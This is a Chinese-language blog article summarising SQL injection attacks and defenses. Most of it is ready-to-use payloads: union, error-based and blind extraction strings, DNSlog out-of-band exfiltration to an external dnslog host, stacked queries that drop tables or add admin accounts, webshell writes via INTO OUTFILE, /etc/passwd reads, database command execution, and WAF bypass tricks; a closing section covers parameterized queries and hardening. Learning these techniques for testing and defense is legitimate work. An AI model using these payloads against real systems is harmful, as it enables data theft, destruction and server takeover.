欢迎光临
我们一直在努力

SQL注入总结(攻击面与防御面)

        SQL注入是Web安全领域最经典、危害最高的高危漏洞之一,长期位于OWASP Top10榜单前列,大部分Web系统数据泄露事件都和SQL注入漏洞有关。其核心本质是用户可控参数被直接凭借到SQL语句中,后端未作严格的安全处理,导致攻击者可以篡改SQL语句的原始执行逻辑,执行恶意SQL代码,包括数据修改、泄露、删除,甚至实现对数据库乃至服务器的控制。


一、SQL注入核心基础

  1.漏洞形成的三个条件

  • 参数用户可控:前端传入的参数(GET\\POST\\Cookie\\HTTP头等)用户可自由修改
  • 参数直接拼接到SQL中:后端未作安全处理,直接将用户可控参数拼接到SQL语句中执行
  • 恶意SQL可成功执行:拼接后的恶意SQL语句被数据库正常解析执行,未得到有效拦截

  • 漏洞代码示例:

    后端PHP代码

    $username = $_POST['username'];
    $password = $_POST['password'];
    // 直接拼接用户输入到SQL语句
    $sql = "SELECT * FROM admin WHERE username='$username' AND password='$password'";
    $result = mysqli_query($conn, $sql);

      攻击者输入用户名:' or 1=1 — ,密码任意,后端接收到username参数并将其拼接到SQL语句上变为:

    SELECT * FROM admin WHERE username='' OR 1=1 — ' AND password='xxx'

    — 把后面的password参数部分给注释掉了,or 1=1使条件恒真,直接绕过登录验证,获取管理员权限。

    2. 核心危害分级

    风险等级危害场景具体影响
    致命级 远程代码执行/服务器接管 写入 Webshell、执行系统命令、提权获取服务器控制权、植入挖矿 / 勒索病毒
    高危级 数据泄露 / 篡改 全量脱库(拖取用户、账号、订单、身份证等核心数据)、篡改 / 删除数据、删库导致业务瘫痪
    中危级 越权访问 / 信息探测 绕过登录验证、越权查看 / 修改他人数据、探测数据库 / 服务器版本、架构信息
    低危级 业务异常

    注入恶意语句导致数据库负载过高、业务响应异常

    3.注入点判断方法

    通过构造特殊 payload,观察页面响应差异,判断是否存在注入:

    注入类型测试 payload正常响应异常响应
    数字型注入(参数无引号包裹) ?id=1 AND 1=1 页面正常显示 页面内容不变
    ?id=1 AND 1=2 页面正常显示 页面无内容 / 报错 / 布局错乱
    字符型注入(参数有单 / 双引号包裹) ?name=admin' AND '1'='1 页面正常显示 页面内容不变
    ?name=admin' AND '1'='2 页面正常显示 页面无内容 / 报错 / 布局错乱
    搜索型注入(LIKE 语句) ?keyword=test%' AND 1=1 — 页面正常显示 页面内容不变
    ?keyword=test%' AND 1=2 — 页面正常显示 页面无内容 / 报错

    二、SQL注入类型详解

    1.按数据返回方式分类

    (1)联合查询注入(UNION SELECT)

    适用场景:页面有明确的查询结果回显,是比较基础、最容易利用的注入类型

    核心原理:通过UNION关键字,将恶意查询的结果拼接到原始查询结果中,直接在页面显示

    利用前提:前后两条查询语句的字段数一致、对应字段的数据类型兼容

    利用步骤:

  • 猜解字段数:通过ORDER BY判断原始查询字段数,直到页面正常,确定字段数。或者通过UNION SELECT NULL,NULL……方式判断字段数。示例 ?id=1 ORDER BY 3 — #正常
    ?id=1 ORDER BY 4 — #异常
    ->字段数为3
  • UNION SELECT确定回显位:找到页面回显字段位置,作为后续替换字段 ?id=-1 UNION SELECT 1,2,3 —
    #id=-1使原始查询无结果,只显示UNION 查询的结果
  • 脱库流程:从数据库名→表名→列名→核心数据,逐级查询。
    查询目标 Payload(MySQL)
    当前数据库名 ?id=-1 UNION SELECT 1,database(),3 —
    所有数据库名 ?id=-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata —
    当前库的所有表名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() —
    指定表的所有列名 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database() —
    拖取核心数据(账号密码) ?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users —
  • (2)报错注入

    适用场景:页面无查询结果回显,但会将SQL执行的错误信息输出到页面

    核心原理:利用数据库的报错函数,将查询结果通过错误信息强制带出,实现数据获取

    主流数据库常用报错函数与 Payload:

    数据库核心报错函数标准 Payload限制说明
    MySQL updatexml() ?id=1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) — 最大返回 32 位字符,超过需用 substr () 分段截取
    MySQL extractvalue() ?id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e)) — 最大返回 32 位字符
    MySQL floor(rand()*2) ?id=1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) — 无长度限制,适用于长数据查询
    SQL Server updatexml() ?id=1 AND 1=(SELECT updatexml(1,concat(0x7e,DB_NAME(),0x7e),1)) — 同 MySQL
    Oracle utl_inaddr.get_host_name() ?id=1 AND utl_inaddr.get_host_name((SELECT user FROM dual))=1 — 利用域名解析报错带出数据
    (3)盲注(无回显无报错场景方案)

    适用场景:页面无论SQL语句执行成功与否,返回内容完全一致、无报错、无回显

    核心逻辑:通过构造条件语句,让数据库根据查询结果的真假,返回可区分的差异,逐字符猜解数据

    ① 布尔盲注

    核心原理:SQL 语句为真时,页面返回正常内容;为假时,页面返回空白 / 错误页面,通过页面布尔状态差异猜解数据。核心函数:substr()(截取字符)、ascii()(获取字符 ASCII 码)、length()(获取字符串长度)标准利用步骤:

  • 猜解数据库名长度:?id=1 AND length(database())=5 — ,测试到页面正常时,得到库名长度为 5
  • 逐字符猜解数据库名:?id=1 AND ascii(substr(database(),1,1))=115 — ,测试第一个字符的 ASCII 码,115 对应小写字母s,依次猜解所有字符
  • 同理,逐级猜解表名、列名、核心数据
  • ② 时间盲注(延时盲注)

    适用场景:页面无布尔状态差异,无论 SQL 真假,返回内容、响应状态完全一致,只能通过响应时间判断结果。核心原理:利用数据库的延时函数,让 SQL 语句为真时执行延时操作,为假时不延时,通过页面响应时间判断条件是否成立。

    核心原理:利用数据库的延时函数,让 SQL 语句为真时执行延时操作,为假时不延时,通过页面响应时间判断条件是否成立。

    数据库延时函数标准 Payload
    MySQL sleep() ?id=1 AND if(ascii(substr(database(),1,1))=115,sleep(5),0) —
    MySQL benchmark() ?id=1 AND if(ascii(substr(database(),1,1))=115,benchmark(10000000,md5(1)),0) — (sleep 被过滤时可使用)
    SQL Server waitfor delay ?id=1;IF (ascii(substr(DB_NAME(),1,1))=115) WAITFOR DELAY '0:0:5' —
    PostgreSQL pg_sleep() ?id=1 AND if(ascii(substr(current_database(),1,1))=115,pg_sleep(5),0) —
    Oracle dbms_pipe.receive_message() ?id=1 AND (SELECT CASE WHEN (ascii(substr(user,1,1))=115) THEN dbms_pipe.receive_message('a',5) ELSE 0 END FROM dual)=1 —
    ③ DNSlog 盲注(带外注入 OOB)

    适用场景:无回显、无报错、延时不稳定,是盲注的终极解决方案,效率远高于逐字符猜解。核心原理:利用数据库发起网络请求的能力,将查询结果拼接到域名中,通过 DNS 解析日志获取数据,无需页面回显。前提条件:数据库服务器可访问外网,无出站防火墙限制。

    数据库标准 Payload核心原理
    MySQL ?id=1 AND load_file(concat('\\\\\\\\',(SELECT database()),'.xxx.dnslog.cn\\\\abc')) — 利用 UNC 路径发起 SMB 请求,触发 DNS 解析,将库名带到 DNSlog 平台
    SQL Server ?id=1;EXEC master..xp_dirtree '\\\\\\\\'+(SELECT DB_NAME())+'.xxx.dnslog.cn\\\\abc' — 利用 xp_dirtree 函数访问 UNC 路径,触发 DNS 解析
    Oracle `?id=1 AND utl_http.request('http://'

    '.xxx.dnslog.cn')=1 — `

    利用 utl_http 发起 HTTP 请求,触发 DNS 解析
    (4)堆叠注入

    适用场景:后端数据库驱动支持多语句执行(如 PHP 的mysqli_multi_query()),可通过分号;分隔多条 SQL 语句,一次性执行多个操作。

    核心危害:突破 SELECT 查询的限制,可执行增删改查、写入文件、执行命令、修改配置等高危操作,危害极大。Payload 示例:

    ?id=1; DROP TABLE users; — 删除表
    ?id=1; INSERT INTO admin(username,password) VALUES('hacker','123456'); — 添加管理员账号
    ?id=1; SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php'; — 写入Webshell

    限制说明:仅部分数据库驱动支持,PHP 的 PDO 默认不支持多语句,Java 的 JDBC 默认禁用多语句,需手动开启。

    2.按注入点位置/特殊场景分类

    (1)二次注入(存储型注入)

    核心原理:攻击者先将恶意 SQL payload 提交到数据库存储,后端在另一个业务场景中,从数据库取出该 payload 并直接拼接到 SQL 语句中执行,触发注入。

    典型场景:

  • 注册账号时,用户名填写' OR 1=1 — ,提交后正常存储到数据库,无注入触发
  • 管理员后台查看用户列表时,后端代码:SELECT * FROM users WHERE username='".$row['username']."',取出恶意用户名拼接 SQL,触发注入
  • 核心特点:

    • 注入触发与 payload 提交分离,绕过绝大多数 WAF(WAF 仅检测提交时的请求,不检测数据库取出的内容)
    • 隐蔽性较强
    • 需找到 payload 的触发场景,才能完成利用
    (2)HTTP 头注入

    核心原理:后端会将 HTTP 头的内容(如 User-Agent、X-Forwarded-For、Referer、Cookie)记录到数据库(如访问日志、统计数据),拼接 SQL 时未做过滤,导致注入。

    典型场景:

    • 网站访问统计功能,将 User-Agent、X-Forwarded-For 存入数据库,payload:User-Agent: ' OR updatexml(1,concat(0x7e,database(),0x7e),1) —
    • Cookie 注入:后端从 Cookie 中获取用户标识,拼接到 SQL 中,payload:Cookie: user=admin' AND 1=1 —
    • X-Forwarded-For 注入:后端获取客户端 IP 时,读取 XFF 头,拼接到 SQL 中,payload:X-Forwarded-For: 127.0.0.1' AND sleep(5) —
    (3)宽字节注入

    核心原理:后端为MySQL数据库使用 GBK 编码,通过addslashes()等函数对单引号'进行转义(变为\\',即%5c%27),攻击者输入%df%27,%df与转义符%5c拼接成 GBK 汉字運,单引号%27成功逃逸,闭合 SQL 语句。利用前提:

  • 数据库 / 后端编码为 GBK
  • 后端使用addslashes()、mysql_real_escape_string()等转义函数,但未设置正确的连接字符集标准 Payload:?id=1%df' AND 1=1 —
  • (4)二次编码注入

    核心原理:后端对参数进行了两次 URL 解码,第一次解码后转义特殊字符,第二次解码时再次还原恶意字符,导致单引号逃逸。

    典型示例:

    • 攻击者输入%2527(单引号'的 URL 编码是%27,再次编码为%2527)
    • 后端第一次解码:%2527 → %27,转义函数未处理
    • 后端第二次解码:%27 → ',成功闭合 SQL 语句,触发注入

    三、主流数据库注入差异详解

    不同数据库的系统表、内置函数、语法特性差异极大,实战中需先识别数据库类型,再使用对应 Payload,核心差异如下表:

    特性MySQLSQL ServerOraclePostgreSQLAccess
    版本识别 version()/@@version @@version v$version视图 version() 无内置函数,通过语法差异识别
    系统库 / 表 information_schema(5.0+)、mysql库 sysobjects、syscolumns all_tables、user_tab_columns information_schema、pg_stat_user_tables msysobjects(需权限)
    分页语法 LIMIT m,n TOP N ROWNUM LIMIT m,n TOP N
    字符串拼接 concat(a,b) a+b a||b a||b
    延时函数 sleep()、benchmark() WAITFOR DELAY dbms_pipe.receive_message() pg_sleep() 无原生延时函数
    报错函数 updatexml()、extractvalue() updatexml() utl_inaddr.get_host_name() 无原生报错函数 无原生报错函数
    读写文件 load_file()、INTO OUTFILE bulk insert、xp_cmdshell UTL_FILE COPY 无原生文件读写
    命令执行 UDF 提权、MOF 提权 xp_cmdshell Java 存储过程 COPY FROM PROGRAM 无原生命令执行

    四、SQL注入进阶利用手法

    1. 读写文件

    利用前提:数据库用户拥有FILE权限,MySQL的secure_file_priv配置不为NULL(为空时可读写,为具体路径时仅可读写该路径),利用load_file、into outfile实现

    操作标准 Payload(MySQL)说明
    读取系统敏感文件 ?id=-1 UNION SELECT 1,load_file('/etc/passwd'),3 — 可读取 SSH 密钥、数据库配置、网站源码等
    写入 Webshell ?id=-1 UNION SELECT 1,'<?php @eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php' — 需知道网站绝对路径,写入一句话木马
    十六进制写马(绕过引号) ?id=-1 UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,3 INTO OUTFILE '/var/www/html/shell.php' — 避免引号被转义,直接写入二进制内容

    2. 执行系统命令与提权

    数据库命令执行方法利用前提
    SQL Server xp_cmdshell扩展存储过程 拥有sa管理员权限,开启xp_cmdshell
    MySQL UDF 自定义函数提权 拥有FILE权限,可写入 DLL/so 文件到插件目录
    PostgreSQL COPY FROM PROGRAM 超级管理员权限,PostgreSQL 9.3+
    Oracle Java 存储过程 拥有 DBA 权限,可创建 Java 类执行系统命令

    3. 越权与业务篡改

    • 万能密码绕过登录:' OR 1=1 — 、' OR 1=1#、admin' —
    • 越权查看他人数据:?order_id=1' OR user_id=123 — ,查看其他用户的订单
    • 修改管理员密码:堆叠注入执行UPDATE admin SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='admin' —
    • 业务数据篡改:?id=1; UPDATE goods SET price=0.01 WHERE id=100 — ,篡改商品价格

    五、SQL注入绕过技巧

    实战或者CTF中绝大多数网站都会有过滤规则或 WAF,以下是高频绕过手法,按场景分类:

    1. 关键字过滤绕过

    过滤场景绕过手法示例
    关键字大小写过滤 大小写混写绕过 SeLeCt FrOm UsErS 替代 SELECT FROM users
    关键字单次替换过滤 双写绕过 seselectlect 替代 select(WAF 替换select为空后,剩余select)
    关键字拆分过滤 注释拆分绕过 s/*xxx*/elect、sel/**/ect、uni/*aaa*/on sel/*bbb*/ect
    关键字禁用 等价语法 / 函数替代 过滤and→用&&;过滤or→用 `;过滤substr→用mid/left/right;过滤ascii→用ord/hex;过滤union select→用union all select`
    函数禁用 等价功能替代 过滤sleep()→用benchmark(10000000,md5(1));过滤updatexml()→用extractvalue()

    2. 空格过滤绕过

    • 注释替代空格:select/**/*/**/from/**/users
    • 括号替代空格:select(id)from(users)where(id=1)
    • 空白字符替代:%09(制表符)、%0a(换行)、%0d(回车)、%0b(垂直制表)、%0c(换页)
    • 反引号替代:selectidfromusers``

    3. 单引号过滤绕过

    • 宽字节注入:%df%27 逃逸单引号(GBK 编码场景)
    • 十六进制编码:字符串admin→0x61646d696e,无需引号,示例:WHERE username=0x61646d696e
    • 字符拼接:concat(char(97),char(100),char(109),char(105),char(110)) 替代'admin'
    • 二次编码注入:%2527 二次解码后还原为单引号

    4. 逻辑运算符 / 比较符过滤绕过

    • 过滤=:用like、regexp、between、><组合替代,示例:WHERE username LIKE 'admin'、WHERE ascii(substr(database(),1,1)) BETWEEN 97 AND 122
    • 过滤and/or:用&&/||替代,或用case when、if语句实现条件判断
    • 过滤#/–注释:用;%00截断,或闭合引号实现注释,示例:?id=1' OR '1'='1

    5. WAF 进阶绕过手法

  • 内联注释绕过(MySQL 专属):利用 MySQL 的/*! */内联注释,只有对应版本的 MySQL 会执行注释内的内容,WAF 通常会忽略,示例:?id=-1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 —
  • 分块传输绕过:HTTP 头设置Transfer-Encoding: chunked,将 Payload 拆分为多个块,WAF 无法完整解析,绕过规则匹配
  • 参数污染绕过:提交多个同名参数,如?id=1&id=-1 UNION SELECT 1,2,3 — ,WAF 仅检查第一个参数,后端取第二个参数执行
  • 垃圾数据填充:在 Payload 中插入大量无意义的注释,如/*xxxxxxxxx*/,让 WAF 的正则匹配超时,绕过检测
  • 协议层绕过:将 GET 参数改为 POST 参数,或修改Content-Type为multipart/form-data,绕过 WAF 的 GET/POST 规则匹配
  • 编码混淆:多层 URL 编码、Unicode 编码、HTML 实体编码,绕过 WAF 的单一层解码检测
  • 六、SQL 注入防御措施

    1.根本防御:预处理语句(参数化查询)

    防御SQL注入最有效、最根本的方案

    核心原理:将 SQL 语句的结构与数据完全分离,用户输入的参数只会被当作纯数据处理,不会被解析为 SQL 语句的一部分,从根源上杜绝 SQL 注入。

    示例:

    • PHP PDO 预处理: $pdo=new PDO('mysql:host=localhost;dbname=test;charset=utf8mb4','user','pass');
      //用?占位符,不拼接用户输入
      $stmt=$pdo->prepare("SELECT * FROM admin WHERE username = ? ADN password = ?");
      $stmt->execute([$username,password]);
    • Java MyBatis预处理: <!– 用#{}占位符,会做参数化处理,绝对安全 –>
      <select id="getUser" resultType="User">
      SELECT * FROM admin WHERE username = #{username} AND password = #{password}
      </select>
      <!– 禁止使用${},会直接拼接参数,存在注入风险 –>
    • Python SQLite: cursor.execute("SELECT * FROM admin WHERE username = ? AND password = ?", (username, password))

      关键注意事项:即使使用预处理,也绝对不能将用户输入拼接到 SQL 语句中,否则仍会存在注入。

    2.第二道防线:安全的输入校验

    • 白名单优先原则:对输入参数做严格的白名单校验,比如数字型参数必须用intval()转换为整数;用户名仅允许字母、数字、下划线;日期参数严格匹配日期格式。
    • 黑名单辅助过滤:作为补充手段,过滤高危关键词(如union、select、and、or、sleep等),但不可单独依赖黑名单
    • 严格限制输入长度:避免前端检验用户输入长度,前端检验很容易绕过,避免超长恶意Payload绕过检测

    3.第三道防线:最小权限原则

    • 数据库用户权限最小化:Web用户使用的数据库账号,仅分配业务必需的SELECT/INSERT/UPDATE/DELETE权限,禁止使用root、sa、DBA等搞权限账号。
    • 禁用高危权限:禁止给Web账号分配FILE、PROCESS、SUPER、EXEC等高危权限,关闭不必要的存储过程与扩展。
    • 限制数据库访问范围:仅允许Web服务器IP访问数据库,禁止公网暴露数据库端口

    4.第四道防线:安全配置与错误处理

    • 关闭错误回显:生产环境绝对禁止将 SQL 错误信息输出到前端页面,错误信息仅记录到后端日志,前端仅返回通用的 “系统错误” 提示,杜绝报错注入。
    • 数据库安全配置
      • MySQL 设置secure_file_priv=NULL,禁止文件读写
      • 设置正确的数据库字符集,避免宽字节注入
      • 关闭不必要的数据库功能与端口

    5.第五道防线:边界防护与审计

    • 部署WAF:Web 应用防火墙可拦截绝大多数常规 SQL 注入攻击,作为兜底防护。
    • 开启审计日志:记录数据库的所有 SQL 执行语句,尤其是敏感操作(如管理员表查询、DROP/ALTER 操作),便于攻击溯源与异常检测。
    • 定期安全检测:定期开展漏洞扫描、渗透测试、代码审计,及时发现并修复注入漏洞。

    赞(0)
    未经允许不得转载:171主机测评 » SQL注入总结(攻击面与防御面)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址